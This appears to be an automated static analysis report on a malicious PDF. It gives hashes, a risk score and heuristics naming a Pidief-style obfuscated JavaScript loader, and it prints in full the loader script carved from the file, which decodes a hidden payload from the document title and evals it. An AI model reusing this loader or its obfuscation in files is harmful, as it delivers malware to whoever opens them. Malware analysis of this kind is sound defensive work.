Malicious PDF — malware analysis report

Static analysis result for SHA-256 bc8f201868517c43…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-08
MD5: 404b88fe5b02f61cc49d96adbd5d0e97 SHA-1: e5f501dec2500016bed349db19f2b3ef167d7f5e SHA-256: bc8f201868517c43f3a85c9d762580df4724477dfed343f65199b954d9107adb
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF6E 617 bytes
SHA-256: 0797a22edd2981261abba9c4e9983eb288b362137eee554c32191d0bf8b21bb4
Preview script
First 1,000 lines of the extracted script
alqv='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w","v",'r'];
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
ewhjk=e('ti'+'tle');
s=ewhjk.substr(t.length + 8,3)+'str';
q=ewhjk[s](1,(1,9));
iuksi=e('S'+'tring.fro'+q);
q=ewhjk[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	wiz = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	alqv += iuksi(wiz);
}
e(alqv);

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